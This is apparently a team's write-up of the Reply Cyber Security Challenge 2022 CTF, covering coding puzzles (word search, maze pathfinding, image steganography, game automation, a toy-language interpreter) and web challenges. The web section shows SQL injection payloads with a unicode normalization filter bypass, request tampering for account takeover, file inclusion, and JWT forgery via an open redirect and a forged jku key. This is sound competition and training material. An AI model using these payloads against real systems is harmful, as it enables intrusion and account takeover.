Tower of Hanoi

Reply Cyber Security Challenge 2022

by on under Reply
140 minute read ·

On October 14th and 15th 2022 we participated in the Reply Cyber Security Challenge 2022. We solved many challenges and overall placed second (CTFtime). These are the writeups of the challenges we solved during the event, sorted by category and points value.

Coding (5/5)

Coding 100


We are given a grid and a list of words, we have to find all the words and join the remainings characters in order to get the password.

Words can be read in all 8 directions and the horizontal and vertical ones can make at most one 90 degrees turn.


We can do a simple dfs starting from every point in the grid and search for the words (and I wrote it in the ugliest possible way).

We take 7 parameters:

  • y, x: the coordinates
  • d: the direction
  • pref: the word build so far
  • poss: the visited cells (I don’t know why I named it like this)
  • not_changed: if I already took a 90 degrees turn
    def search(y, x, d, pref, vis, poss, not_changed):

    The base case happens when we found a word

     if pref in words:
         for Y, X in poss:
             grid[Y][X] = '.'

    Then we check if the cell is valid:

     # If in the grid
     if y < 0 or y >= len(grid) or x < 0 or x >= len(grid[0]): return False
     # If not in a previous word
     if grid[y][x] == '.': return False
     # If already in the current path
     if vis[y][x]: return False  # Obviously useless

    And then we update the cell status and hardcode every possibility:

     vis[y][x] = True
     poss.append((y, x))
     if d == UP:
         if search(y - 1, x, UP, pref + grid[y][x], vis, poss, not_changed): return True
         if not_changed:
             if search(y, x - 1, LEFT, pref + grid[y][x], vis, poss, False): return True
             if search(y, x + 1, RIGHT, pref + grid[y][x], vis, poss, False): return True
     elif d == DOWN:
         if search(y + 1, x, DOWN, pref + grid[y][x], vis, poss, not_changed): return True
         if not_changed:
             if search(y, x - 1, LEFT, pref + grid[y][x], vis, poss, False): return True
             if search(y, x + 1, RIGHT, pref + grid[y][x], vis, poss, False): return True
     elif d == LEFT:
         if search(y, x - 1, LEFT, pref + grid[y][x], vis, poss, not_changed): return True
         if not_changed:
             if search(y - 1, x, UP, pref + grid[y][x], vis, poss, False): return True
             if search(y + 1, x, DOWN, pref + grid[y][x], vis, poss, False): return True
     elif d == RIGHT:
         if search(y, x + 1, RIGHT, pref + grid[y][x], vis, poss, not_changed): return True
         if not_changed:
             if search(y - 1, x, UP, pref + grid[y][x], vis, poss, False): return True
             if search(y + 1, x, DOWN, pref + grid[y][x], vis, poss, False): return True
     elif d == UR:
         if search(y - 1, x + 1, UR, pref + grid[y][x], vis, poss, not_changed): return True
     elif d == UL:
         if search(y - 1, x - 1, UL, pref + grid[y][x], vis, poss, not_changed): return True
     elif d == DR:
         if search(y + 1, x + 1, DR, pref + grid[y][x], vis, poss, not_changed): return True
     elif d == DL:
         if search(y + 1, x - 1, DL, pref + grid[y][x], vis, poss, not_changed): return True
         assert False
     vis[y][x] = False
     return False

    Finally for every cell we call the dfs in every direction:

    for y in range(len(grid)):
     for x in range(len(grid[0])):
         search(y, x, UP, "", [[False for i in range(len(grid[0]))] for j in range(len(grid))], [], True)
         search(y, x, DOWN, "", [[False for i in range(len(grid[0]))] for j in range(len(grid))], [], True)
         search(y, x, RIGHT, "", [[False for i in range(len(grid[0]))] for j in range(len(grid))], [], True)
         search(y, x, LEFT, "", [[False for i in range(len(grid[0]))] for j in range(len(grid))], [], True)
         search(y, x, UR, "", [[False for i in range(len(grid[0]))] for j in range(len(grid))], [], True)
         search(y, x, UL, "", [[False for i in range(len(grid[0]))] for j in range(len(grid))], [], True)
         search(y, x, DL, "", [[False for i in range(len(grid[0]))] for j in range(len(grid))], [], True)
         search(y, x, DR, "", [[False for i in range(len(grid[0]))] for j in range(len(grid))], [], True)

    ( I’m Sorry )

And print the password:

res = "".join("".join(i for i in j) for j in grid)
print(res.replace(".", ""))


Coding 200


This challenge has not much to say, all the rules are well explained in the file, so I’m not going to explain them in details.

Basically we have to find all the possible paths between two points in a maze of blackholes that evolves similarly to the game of life. In addition to that, we have portals that teleports you across the map.


Afraid of performances (and pushed by a strange gut feeling) I started writing the code in C++ (and never regretted it, even if it was probably not necessary).

The idea is to precompute all the states until a maximum depth and then do dfs to find all the paths (using a better search algorithm is useless, since we have to find all the best paths and not just one of the best).

To store everything we need a lot of vectors:

  • grid: for the initial grid
  • time_grid: for all the states of the grid
  • portals: for the portals
  • valid_portals: to check if a portal is valid at a particular step
  • (start|end)_(x|y): for the starting and ending point
 #define MAX 1000

int W = grid[0].size(), H = grid.size();
vector <vector <pair <int, int>>> portals(H, vector <pair <int, int>> (W, {-1, -1}));
vector <vector <vector <bool>>> valid_portals(MAX, vector <vector <bool>> (H, vector <bool> (W, false)));
vector <vector <string>> time_grid;

int start_x, start_y;
int end_x, end_y;

For the dfs:

  • on_portal: if this portal has already been used
  • visited: if we already visited a specific cell
vector <vector <bool>> on_portal(H, vector <bool> (W, false));
vector <vector <bool>> visited(H, vector <bool> (W, false));

And to store the answer:

int best_time = MAX;
int best_portals = 0;
int n_sols = 0;
vector <string> paths;

First, we save all the initial information (portals and start / end) and we clear the map from everything that is not a blackhole (this is important in order to calculate the blackholes state at every timestep)

    for (int y = 0; y < H; y++) {
        for (int x = 0; x < W; x++) {
            if (grid[y][x] == 'A') {
                start_y = y, start_x = x;
            if (grid[y][x] == 'B') {
                end_y = y, end_x = x;
            if ('a' <= grid[y][x] && grid[y][x] <= 'z') {
                for (int yy = 0; yy < H; yy++) {
                    for (int xx = 0; xx < W; xx++) {
                        if ((y != yy || x != xx) && grid[yy][xx] == grid[y][x]) {
                            portals[y][x] = {yy, xx};
                            valid_portals[0][y][x] = true;
                            on_portal[y][x] = true;
                            goto found;

    for (int y = 0; y < H; y++) {
        for (int x = 0; x < W; x++) {
            if (grid[y][x] != '&') {
                grid[y][x] = '.';

We simulate the blackholes to get the time_grid and the valid_portals (we cannot do this separately, as I initially did, because if a blackhole ends up on a portal, not only it destroies it and its twin, but the twin-portal becomes a blackhole as well):

    for (int i = 0; i < MAX - 1; i++) {
        bh_step(i + 1);
const int dy[8] = {-1, 0, 1, -1, 1, -1, 0, 1};
const int dx[8] = {-1, -1, -1, 0, 0, 1, 1, 1};

void bh_step(int t) {
    vector <string> new_board(H, string(W, '.'));

    for (int y = 0; y < H; y++) {
        for (int x = 0; x < W; x++) {
            int neigh = 0;
            for (int i = 0; i < 8; i++) {
                int ny = y + dy[i], nx = x + dx[i];
                if (ny < 0 || ny >= H || nx < 0 || nx >= W) continue;
                neigh += grid[ny][nx] == '&';
            if (grid[y][x] == '&' && (neigh == 2 || neigh == 3)) {
                new_board[y][x] = '&';
            } else if (grid[y][x] != '&' && neigh >= 3) {
                new_board[y][x] = '&';

    for (int y = 0; y < H; y++) {
        for (int x = 0; x < W; x++) {
            if (!valid_portals[t - 1][y][x]) continue;
            if (new_board[y][x] != '&') {
                valid_portals[t][y][x] = true;
    for (int y = 0; y < H; y++) {
        for (int x = 0; x < W; x++) {
            if (valid_portals[t][y][x] && !valid_portals[t][portals[y][x].first][portals[y][x].second]) {
                valid_portals[t][y][x] = false;
                new_board[y][x] = '&';

    grid = move(new_board);

Finally we can do the search:

    string res = "";
    dfs(start_y, start_x, 0, 0, res);
const int Dy[4] = {-1, 0, 0, 1}, Dx[4] = {0, -1, 1, 0};
const string dir[4] = {"N", "W", "E", "S"};

void dfs(int y, int x, int t, int n_portals, string& path) {
    if (t > best_time) return;
    if (time_grid[t][y][x] == '&') return;
    if (y == end_y && x == end_x) {
        if (t < best_time) {
            best_time = t;
            best_portals = n_portals;
            n_sols = 1;
        } else if (t == best_time && n_portals > best_portals) {
            best_portals = n_portals;
            n_sols = 1;
        } else if (t == best_time && n_portals == best_portals) {


    if (visited[y][x]) return;
    visited[y][x] = true;

    for (int i = 0; i < 4; i++) {
        int ny = y + Dy[i], nx = x + Dx[i];
        if (ny < 0 ||  ny >= H || nx < 0 || nx >= W || time_grid[t][ny][nx] == '&' || visited[ny][nx]) continue;

        path += dir[i];
        if (valid_portals[t][ny][nx] && on_portal[ny][nx]) {
            int py = portals[ny][nx].first, px = portals[ny][nx].second;
            on_portal[ny][nx] = false;
            on_portal[py][px] = false;
            visited[ny][nx] = true;

            dfs(py, px, t + 1, n_portals + 1, path);

            visited[ny][nx] = false;
            on_portal[ny][nx] = true;
            on_portal[py][px] = true;
        } else {
            dfs(ny, nx, t + 1, n_portals, path);

    visited[y][x] = false;

And print the answer:

    sort(paths.begin(), paths.end());
    cout << n_sols << "-";
    for (string& s : paths) {
        cout << s;
    cout << "-" << best_portals << endl;


Coding 300


We are given a png file of a meaningless image and a really really vague description of what to do. The only thing that we know is that the image has been shuffled and there is some data hidden with stepic.

From the file:

indices = np.random.permutation(len(pix))
stepic.encode(img, message)
imutils.rotate(img, angle=rot_angle)

First step

It is clear that we have to somehow get (or guess) the seed. I called stepic.decode on the whole image and got #####23#####. I was running it also on chunks the of image and got weird stuffs, so I took a really long time to realize that it was not some weird artifact, but it was indeed the seed.

At least now we can unshuffle the image:

img =
data = stepic.decode(img)
seed = int(data.replace("#", ""))

pix = img.getdata()
indices = np.random.permutation(len(pix))

real_pixs = [None for i in range(len(pix))]
for n, ind in enumerate(indices):
    real_pixs[ind] = pix[n]


And we get this image Unshuffle

Second step

That looks like a 16x16 sudoku, but shuffled. Thankfully the gives an hint for this:

Hint: once the image is reconstructed, each sub-block of the board will contain steganographed binary message, e.g., 010111. The two most significant digits represent how much it has been rotated, e.g., 01 = 90°, and the remaining four represent its original position

After a bit of trial, errors and guessing, we find out that the sub-blocks are the 4x4 boxes and that we have to split the image in blocks of 481x481 pixels, run stepic.decode on them and rearrange them as explained.

sections = [[None for x in range(4)] for y in range(4)]
dim = 481

for y in range(0, img.height, dim):
    for x in range(0, img.width, dim):
        cut = img.crop((x, y, x + dim, y + dim))
        sdata = int(stepic.decode(cut)[5:11], 2)
        cut = cut.rotate(-90 * (sdata >> 4))
        sections[(sdata & 0b11)][(sdata & 0b1111) >> 2] = cut

for y in range(0, img.height, dim):
    for x in range(0, img.width, dim):
        img.paste(sections[x // dim][y // dim], ((x, y, x + dim, y + dim)))

Getting this nice sudoku: Sudoku!

Third step

OCR time… or not…

tesseract fails miserably to read the image, but the numbers looks really regular, so we could try a pixel by pixel difference to recognize them. Suddenly the board is not super regular as well: it has an annoing border on the left and upper side and the image size is not divisible by 16.

What turned out to work is to crop the numbers as much as possible, after that, the root mean square of the difference of two equal numbers will always be almost zero.

We also need some reference, but since we have just 16 numbers, we can extract them by hand.


So, we convert the image to gray-scale, approximately extract the numbers and crop them:

# For some weird reason, using any(...) doesn't work
def iswhiterow(pixs, y, left, right):
    for x in range(left, right):
        if pixs[x, y] < 100: return False
    return True
def iswhitecol(pixs, x, up, right):
    for y in range(up, right):
        if pixs[x, y] < 100: return False
    return True

def super_crop(img):
    up = 0
    down = img.height - 1
    left = 0
    right = img.width - 1

    pimg = img.load()
    while iswhiterow(pimg, up, left, right):
        up += 1
        if up == down: return None  # Empty cell
    while iswhiterow(pimg, down, left, right):
        down -= 1
    down += 1
    while iswhitecol(pimg, left, up, down):
        left += 1
    while iswhitecol(pimg, right, up, down):
        right -= 1
    right += 1

    return img.crop((left, up, right, down))

img = img.convert("L")

cuts = []
ydim = img.height // 16
xdim = img.width // 16
for y in range(0, img.height - 20, ydim):
    for x in range(0, img.width - 20, xdim):
        cuts.append(super_crop(img.crop((x + 10, y + 10, x + xdim - 10, y + ydim - 10))))

We save every cropped number and select by hand the reference images.

Now we can recognize every number

def imgdiff(im1, im2):
    diff = ImageChops.difference(im1, im2)
    return ImageStat.Stat(diff).rms[0]

def get_val(img):
    for ind, ref in enumerate(refs):
        if abs(img.width - ref.width) > 10: continue  # Otherwise every number > 10 will be recognized as a 1
        val = imgdiff(img, ref)
        if val < 1:
            return ind + 1

Final step

Obviously now we have to solve the sudoku and luckly sagemath has a sudoku function, so this step turned out to be pretty easy.

from sage.all import Matrix, sudoku
solved = list(sudoku(Matrix(board)))

the zip password is the whole board

passwd = ""
for y in range(16):
    for x in range(16):
        passwd += str(solved[y][x])

This script luckly works for every level with no extra modifications, so we just automate the zip extraction, wait a couple of minutes for all the 50 levels to be solved and get the flag.

Coding 400

The challenge is a game with four different levels, of increasing difficulty, which we had to “automate” as they were too time consuming to solve by hand. To do this we used python3, requests and some other libraries.

The first level is pretty easy, the task is to find the first 150 values of a sequence, which happen to be the y-values of a parabola. We parsed the initial values and then computed the remaining 150:

baseurl = ""
endp = "4ykubm9gMDXFSWHlBe5JqUBBIvhodV2V7Lu6WtOiYoUq3bOtiUgfVl2DKxXqR1968uutvqvFBQWs78M0Vh5i40gSnIypQRCTlJEy"

data = r.get(f"{baseurl}/{endp}/firstGame").text
data = data[data.find(" >[") + 3 :]
data = data[: data.find(", *")]
nums = [*map(int, data.split(", "))]

diff = nums[1] - nums[0]
diff12 = nums[2] - nums[1]
sum_inc = diff12 - diff
start = nums[0]

res = [start]
for i in range(150 + len(nums)):
    res.append(res[-1] + diff)
    diff += sum_inc

And then we sent the sequence to the server.

ans = {f"userSequence[{i}]": n for i, n in enumerate(res[:150])}

resp ="{baseurl}/{endp}/{checkans}", data=ans).text

The second level is about guessing a number, given the lower and upper bounds and an oracle that answers “greater” or “lesser” to our guess. We just did a quick binary search like this:

data ="{baseurl}/{endp}/secondGame", data={"passphrase": passwd}).text

left, right = [*map(int,"Guess a number from ([\d]+) to ([\d]+) to access the next game within", data).groups())]

while left < right:
    mid = (right + left) // 2
    resp ="{baseurl}/{endp}/checkSecondGame", data={"number": mid}).text
    if "greater" in resp:
        left = mid + 1
    elif "lesser" in resp:
        right = mid - 1

and then we sent the answer to the server.

The third level is just like Wordle, but the answer is 50 characters long, the alphabet is 92 characters wide and you have 50 guesses to find the answer. We just assumed that, even if the answer could theoretically be made of 50 different characters, this would never happen in practice as some chars would appear more than once. With the first two guesses we would try every character of the entire allowed range (50 different chars in the first guess, the remaining 42 plus padding in the second) and save any “Green” or “Yellow” character in the alphabet, a list of only the characters present in the guess of this game. By doing this we were able to reduce the single-game alphabet to a set always smaller than 47 characters. In python3 it looks like this:

# lvl3_attempt is a function that takes the string and sends it to the server

g0 = "".join([chr(i) for i in range(33, 127)][:50])
g1 = "".join([chr(i) for i in range(33, 127)][50:]).ljust(50, "A")
alphabet = ""
h0 = lvl3_attempt(g0)
for i in range(len(g0)):
    if 'Y' == h0[i] or 'G' == h0[i]:
        alphabet += g0[i]

h1 = lvl3_attempt(g1)
for i in range(len(g1)):
    if 'Y' == h1[i] or 'G' == h1[i]:
        alphabet += g1[i]

Then for every character of the alphabet we just tried guessing a string which was the same char repeated for the entire guess, look for the indices of green cells and save that at such indexes there was the corresponding guessed character. After looping through the whole alphabet, we would get the final answer.

solve = {}
for c in alphabet:
    hn = lvl3_attempt(c*50)
    for i in range(len(hn)):
        if 'G' == hn[i]:
            solve[i] = c

ans = ""
for i in range(50):
    ans += solve[i]
# send ans to the server

After submitting the answer we get to the last level, which is an 80x100 Minesweeper board, with an unknown amount of bombs. As an added bonus, the board only shows the latest changes, so there is no way to do this “by hand”.

The first thing we had to do was to write something that would parse the board, which is done by this awful-looking code:

# endp is the endpoint given by level3

def lvl4_attempt(row, col):
    resp ="{baseurl}/{endp}/{checkans}", data={"row":row, "column":col})
    lastindex = 0
    lastcellindex = 0
    for i in range(80): #rows
        start = resp.text.find("<tr>", lastindex)
        lastindex = start
        for j in range(100): #columns
            cell = resp.text.find("<td >", lastcellindex)
            lastcellindex = cell + 5
            endcell = resp.text.find('</td>', cell)
            value = resp.text[cell+5:endcell]
            value = int(value)
            if value != -2: #-2 represents a hidden cell, we don't want to overwrite the local value because it might be something we know
                field[(i, j)] = value

We then looked for some way of solving the board, and found this library on GitHub: For each iteration we would ask the solver to try and solve the board. As a return value, it would give us a list of “known safe” cells and “known bomb” cells. We would then ask the server to uncover the safe cells, and save locally in the field 2D-array the cell values and where the bombs were located.
Unfortunately the game was not perfectly deterministic, so sometimes the solver resorted to guessing which cell was safe and subsequently failed due to bad luck. The code looks something like this:

import minesweeper_solver as ms
import minesweeper_game as mg

settings = mg.GameSettings(shape=(80, 100), mines=1200) #1200 is just a guess
solver = ms.MinesweeperSolver(settings=settings)

while True:
    a, b = solver.solve(field)

    if b: # b is known bombs
        for x, y in b:
            field[(x, y)] = -1 # -1 represents a bomb

    if a: # a is known-safe cells 
        while a:
            row, col = a.pop()
            if field[(row, col)] == -2: # avoid guessing an already known cell
                lvl4_attempt(row, col)

After a few tries (we just let the script do its thing in the background) it finally solved the board and we got the flag.

Coding 500


For this challenge we have to write an interpreter for a random language. We are provided with some example and a initial file, unluckly the description is not complete at all, so we have to guess how the language works by looking at the examples.

From the file we know that we have to deal with:

  • numbers
  • strings
  • varaibles
  • print statements
  • variable assignement
  • operations (add sub mul div)

And we known that uppercase letters have some special meanings.

Level 1

This is something I found out after a while, but to explain everything better, I will have to “spoil” that we will have a stack.

//END EXAMPLE 1: Prints 'helloworld'

Without much imagination, P means print and B defines the beginning of the string. Thus, the form of the string is: P{s[n-1]}b{s[n-2]}b...{s[1]}b{s[0]}. So B pushes a string to the stack and P prints the top of the stack and maybe pop it (I’ve never figued out if it actually pops).

//END EXAMPLE2: Prints '42istheanswer'

N must mean number, but how is it encoded?

After a while (and looking at other examples) we find out that the letters correspond to operations (a->add, s->subtract, m->multiply, d->divide) so the number form is: N{n1}{op1}{n2}{op2}{n3}..., so the example would translate in 2 + 4 * 3 / 2 - 1 * 5 + 2 = 42 without respect to the operations priority. Similarly to the string, the number gets pushed in the stack.

V Is the variable sign and is followed by the variable name. The name can be followed by =, otherwise it gets pushed into the stack.

Vvrarrrirarbrirlrer2rP BrbebwbsbnbabebhbtbsbibVvrarrrirarbrirlrer2r=
//END EXAMPLE 3: prints 'istheanswer'

From this we understand that the lines have to be split on spaces and read from right to left.

VvrarrrP N4d2N0a2m2s1MULVvrarrr=
//END EXAMPLE4: prints '6'

The operations are pretty easy, they can be ADD, SUB, MUL, DIV and they use the two top elements on the stack:

n2 = stack.pop()
n1 = stack.pop()
res = n1 op n2

Example five is broken, because one variable name is wrong…

First interpreter

Now we have everything needed to write the interpreter for this level.

We will have global stack (a list) and variables (a dictionary). We define a class to interpret an instruction block (not a line, a single block):

variables = {}
stack = []

class Instr:
    def __init__(self, code):
        self.code = code
        self.ind = 0

    def eval(self):
        output = ""
        while self.ind < len(self.code):
            if self.code[self.ind] == 'B':
            elif self.code[self.ind] == 'P':
                output += str(stack.pop())
                self.ind += 1
            elif self.code[self.ind] == 'N':
            elif self.code[self.ind] == 'V':
                num2 = stack.pop()
                num1 = stack.pop()
                if self.code[self.ind] == 'A':
                    assert self.code[self.ind : self.ind + 3] == "ADD"
                    stack.append(num1 + num2)
                elif self.code[self.ind] == 'S':
                    assert self.code[self.ind : self.ind + 3] == "SUB"
                    stack.append(num1 - num2)
                elif self.code[self.ind] == 'M':
                    assert self.code[self.ind : self.ind + 3] == "MUL"
                    stack.append(num1 * num2)
                elif self.code[self.ind] == 'D':
                    assert self.code[self.ind : self.ind + 3] == "DIV"
                    assert num2 != 0
                    stack.append(num1 // num2)
                    print(self.ind, self.code[self.ind])
                    assert False, "Unknown uppercase"
                self.ind += 3

        return output

    def parse_str(self):
        self.ind += 1
        res = ""
        while self.ind + 1 < len(self.code) and self.code[self.ind + 1] == 'b':
            res += self.code[self.ind]
            self.ind += 2
        return res[::-1]

    def get_num(self):
        res = 0
        while self.code[self.ind].isdigit():
            res *= 10
            res += int(self.code[self.ind])
            self.ind += 1
        return res

    def parse_int(self):
        self.ind += 1
        res = self.get_num()

        while self.ind < len(self.code) and self.code[self.ind] in "asmd":
            if self.code[self.ind] == 'a':
                self.ind += 1
                res += self.get_num()
            elif self.code[self.ind] == 's':
                self.ind += 1
                res -= self.get_num()
            elif self.code[self.ind] == 'm':
                self.ind += 1
                res *= self.get_num()
            elif self.code[self.ind] == 'd':
                self.ind += 1
                res //= self.get_num()
                assert False, "Unknown operation"

        return res

    def parse_var(self):
        global variables
        self.ind += 1
        varname = ""

        while self.ind < len(self.code) and self.code[self.ind] in string.ascii_lowercase + string.digits + "._":
            varname += self.code[self.ind]
            self.ind += 1

        assert self.ind < len(self.code)
        if self.code[self.ind] == '=':
            variables[varname] = stack.pop()
            self.ind += 1
            assert varname in variables

Not much to say on this code, it’s just the implementation of what I have explained in the first part.

We known that we can parse every line separately, so we iterate through them and execute them one by one to get the password of the first level.

def run_all(code):
    final = ""
    for line in code.splitlines():
        instrs = line.split()[::-1]
        final += parse_line(instrs)
    return final

def parse_line(instrs):
    instr_ind = 0
    result = ""
    while instr_ind < len(instrs):
        result += Instr(instrs[instr_ind]).eval()
        instr_ind += 1

    return result

password: 3314p1848m5l348_6tz1817236bv31536908260dp033188sjuvq17633170412113334-425xprz34x0tg22xq

Obviously this is not the code I initially written, I solved the first level with a orrible script. After I’ve seen that the complexity of the levels were rising, I restarted and this is an extract of the final code.

Level 2

In level 2 we are introduced with conditional statements. Reversing the blocks of the line, they can be in two forms:

BOH {condition} | {if true} HOB

equivalent to:

if (condition) {
    if true


BOH {condition1} | {if true 1} OH {condition2} | {if true 2} {if false} HO HOB

equivalent to:

if (condition1) {
    if true 1
} else if (condition2) {
    if true 2
} else {
    if false

So BOH is closed by HOB and OH is closed by HO, expecting nested ifs in the next levels, I haven’t distinguished between BOH and OH and treated everything in the form:

if (condition) {
    if true
} else {
    if false

The condition statements are terminated by two letters that identifies the comparison to do and they work similarly to the operations: they take the two top values on the stack and compare them.

The type of comparison are the classic ones (read them backward): QE is ==, TL is < and so on.

We also have boolean operator (AND and OR) between the conditional statements.

Second interpreter

We create a subclass of Instr for the conditional instructions, that overwrite eval and parse_var (parese_var is just for error checking, since we cannot have an assignement in a conditional statement):

class CondInstr(Instr):
    def __init__(self, code):

    def eval(self):
        while self.ind < len(self.code):
            if self.code[self.ind] == 'B':
            elif self.code[self.ind] == 'P':
                assert False, "Conditional print"
            elif self.code[self.ind] == 'N':
            elif self.code[self.ind] == 'V':
                num2 = stack.pop()
                num1 = stack.pop()
                if self.code[self.ind] == 'A':
                    assert self.code[self.ind : self.ind + 3] == "ADD"
                    stack.append(num1 + num2)
                elif self.code[self.ind] == 'S':
                    assert self.code[self.ind : self.ind + 3] == "SUB"
                    stack.append(num1 - num2)
                elif self.code[self.ind] == 'M':
                    assert self.code[self.ind : self.ind + 3] == "MUL"
                    stack.append(num1 * num2)
                elif self.code[self.ind] == 'D':
                    assert self.code[self.ind : self.ind + 3] == "DIV"
                    assert num2 != 0
                    stack.append(num1 // num2)

                # conditions
                    assert self.ind + 2 == len(self.code)
                    if self.code[self.ind:self.ind + 2] == "QE":  # ==
                        return num1 == num2
                    elif self.code[self.ind:self.ind + 2] == "EL":  # <=
                        return num1 <= num2
                    elif self.code[self.ind:self.ind + 2] == "TL":  # <
                        return num1 < num2
                    elif self.code[self.ind:self.ind + 2] == "TG":  # >
                        return num1 > num2
                    elif self.code[self.ind:self.ind + 2] == "EG":  # >=
                        return num1 >= num2
                    elif self.code[self.ind:self.ind + 2] == "EN":  # !=
                        return num1 != num2
                        print(self.ind, self.code[self.ind])
                        assert False, "Unknown condition"

                self.ind += 3

    def parse_var(self):
        global variables
        self.ind += 1
        varname = ""

        while self.ind < len(self.code) and self.code[self.ind] in string.ascii_lowercase + string.digits + "._":
            varname += self.code[self.ind]
            self.ind += 1

        assert self.ind < len(self.code)
        assert self.code[self.ind] != "=", "Conditional assignement"
        assert varname in variables

We create a function to evaluate a condition considering the boolean operators:

def eval_cond(instrs):
    cond = CondInstr(instrs[0]).eval()
    ind = 1
    while ind < len(instrs):
        next_cond = CondInstr(instrs[ind + 1]).eval()
        if instrs[ind] == "AND":
            cond &= next_cond
        elif instrs[ind] == "OR":
            cond |= next_cond
            assert False, "Unknown bitwise"

        ind += 2

    return cond

And we modify the parse_line function to consider the BOHs

def parse_line(instrs):
    instr_ind = 0
    result = ""
    while instr_ind < len(instrs):
        if instrs[instr_ind] == "BOH":
            IF = []
            instr_ind += 1
            while instrs[instr_ind] != '|':
                instr_ind += 1

            instr_ind += 1
            if_true = []
            while instrs[instr_ind] != "OH" and instrs[instr_ind] != "HOB":
                instr_ind += 1

            if_false = []
            if instrs[instr_ind] == "OH":
                instr_ind += 1
                if_false.append("BOH")  # OH is no different from BOH
                while instrs[instr_ind] != "HO":
                    instr_ind += 1

                instr_ind += 1

            assert instrs[instr_ind] == "HOB"
            instr_ind += 1

            if eval_cond(IF):
                result += parse_line(if_true)
                if len(if_false) > 2:
                    result += parse_line(if_false)

            result += Instr(instrs[instr_ind]).eval()
            instr_ind += 1

    return result

password: 1936anok33ga16wu143102843phlqkkkmwcsw31821_31443137ps9ko3318ut93744299vsb571124022vbboc

Level 3

As expected this level introduces nested ifs. We prepared for this, so this level turned out to be really easy.

Third interpreter

We just have to modify the parse_line function, in order to consider the nested BOHs

def parse_line(instrs):
        if instrs[instr_ind] == "BOH":
            IF = []
            instr_ind += 1
            while instrs[instr_ind] != '|':
                instr_ind += 1

            instr_ind += 1
            if_true = []
            boh_cnt = 0  # If we encounter a BOH, we must encounter a HOB before considering to end the loop
            while (instrs[instr_ind] != "OH" and instrs[instr_ind] != "HOB") or boh_cnt > 0:
                if instrs[instr_ind] == "BOH":
                    boh_cnt += 1
                elif instrs[instr_ind] == "HOB":
                    boh_cnt -= 1
                instr_ind += 1

            if_false = []
            if instrs[instr_ind] == "OH":
                instr_ind += 1
                boh_cnt = 0  # Same thing here
                while instrs[instr_ind] != "HO" or boh_cnt > 0:
                    if instrs[instr_ind] == "BOH":
                        boh_cnt += 1
                    elif instrs[instr_ind] == "HOB":
                        boh_cnt -= 1
                    instr_ind += 1

                instr_ind += 1

            assert instrs[instr_ind] == "HOB"
            instr_ind += 1

            if eval_cond(IF):
                result += parse_line(if_true)
                if len(if_false) > 2:
                    result += parse_line(if_false)


Level 4

The finish line is near, we see!

This level introduces loops, the syntax is:

LOOP {condition} | {instructions} POOL

that translates to:

while (condition) {

This is almost identical to ifs, so we don’t have much work to do.

Final interpreter

We get the condition and the instruction in the same way we got them with the BOH instruction, but instead of an if-else, we will have a while:

def parse_line(instrs):
        elif instrs[instr_ind] == "LOOP":
            IF = []
            instr_ind += 1
            while instrs[instr_ind] != '|':
                instr_ind += 1

            instr_ind += 1
            loop_instr = []
            loop_cnt = 0
            while instrs[instr_ind] != "POOL" or loop_cnt > 0:
                if instrs[instr_ind] == "LOOP":
                    loop_cnt += 1
                elif instrs[instr_ind] == "POOL":
                    loop_cnt -= 1
                instr_ind += 1

            while eval_cond(IF):  # This is the only significant difference
                result += parse_line(loop_instr)

            instr_ind += 1


And we finally get the password and the 500 ( + 4 ) points.

password: t5j494040404049t_vj492349z1212374623181838516h7j540y2m234489715y4216ka24-163177ce5n_mh1516

Web (4/5)

Web 100

The goal of this challenge is to be able to gain access to the master account. we can do this through the form to change password. After that we can access the flag exploiting a file inclusion vulnerability in the master page.

  1. First of all click on the door to access the challenge.

  2. From the register page create a fake account for example:
     Password: fakepassword

    Click on “I’m not a robot” and login with your creds.

  3. Click on the spinning dice. In the source page of “Main Menu” you can found and interesting variable used in the executeCommand function.
     var masterName = "";

    We now have the master email.

  4. Change master password: From “Profile” page we can change our password by entering our credentials, but we can intercept the request with BurpSuite and change the email parameter with master’s email:

    Insert a generic password in the new parameter:

    We forward the modified request and we have changed the master password!

  5. Now login with master’s creds and access to master page. From there we can select three files:
    • campaign.txt
    • player1.txt
    • player2.txt

    We can analyze the request with BurpSuite clicking Load button and notice this body parameter:


    looks like a sort of file inclusion vulnerability. We can manipulate this parameter with Repeater function in BurpSuite (ctrl+r to send to the Repeater)


    with this parameter we are redirected to a page named troll… But in the source code of it there is an interesting comment:

     <!-- TODO: review all the /secret notes and make them accessible. See: -->

    We can access to the pastebin code but if we try with:


    And get the flag!

Web 200

This challenge is a webpage with a search box for emojis. We can immediately see from the message.txt file that there is a sqlite db on the backend side.

Inspecting further the code snippet contained in the message we can see that there is a custom sql escape done before a unicode normalization, this means that we can send a query written in unicode characters and this query would be normalized to the ascii version bypassing the filter. We used a unicode fullwidth converter to write the queries in unicode.

So, we sent a query to list the sqlite tables and columns:

' union SELECT 'prefix',90,'prefix',name from sqlite_schema --

' union SELECT 'prefix',90,'prefix',name from pragma_table_info('r3plych4ll3ng3fl4g') --

After that we could create the query that would print us the flag:

' union SELECT 'prefix',90,'prefix', value from r3plych4ll3ng3fl4g --


Web 300

We are presented with a sock shop, with six clickable products, each one with a dedicated page but without meaningful interactions. The navbar presents “Login”, “Register” and “About Us” links; register does only redirect on the homepage, while login presents the login form (with which we cannot login, since we cannot register).

The about us page allow us to discover that there are two founders (@gigi and @tony1987) which are presumably admin accounts. There is also a open position for a developer.

The developer position has a clickable card that follows the link


Which we found to be an open redirection and changing developer to an external URL, we are effectively redirected to the website

e.g. /24bfaaddbd56755e48876b92144c1be38d56de29/open_position?position= redirects us on google homepage.

We found that the website sets a cookie access_token_cookie which is a JWT for the current user session

Analyzing it on

we can see that the websites exposes at the /jwks endpoint the public key related to the private key used to sign the certificates.

we can also see that we are logged in as an anonymous user.

This suggested us that we could use the open redirection to modify the jwt in order to show an handcrafted jku, pointing at a public key generated by us, thus allowing us to sign the certificates with our private key.

We then tried to locally host a public key and tried to make the website reach for it by setting up a public ip with ngrok. Since no requests passed through, we discovered that external URLs where filtered.


jwtHeader = {
"jku": ""

By looking up the request at the open redirection link, we found a custom HTTP Header


Which hinted that we could reach content hosted on GitHub gists. We then proceeded to host our public key on gist and were able to correctly sign JWTs.

By looking at the About Us page, we guessed that the admin could be one of the two listed users, so we tried to change "sub": "anonymous" in the jwt to "sub": "gigi", since it was listed as ‘Sys Admin’.

The website correctly accepted our JWT and we were identified as admin.

The admin page then asked us for a verification code.

Analyzing the link

we discovered that the key query value 4c012936c5246171bfa1908f81a5eead was and md5 of an username (mike1991)

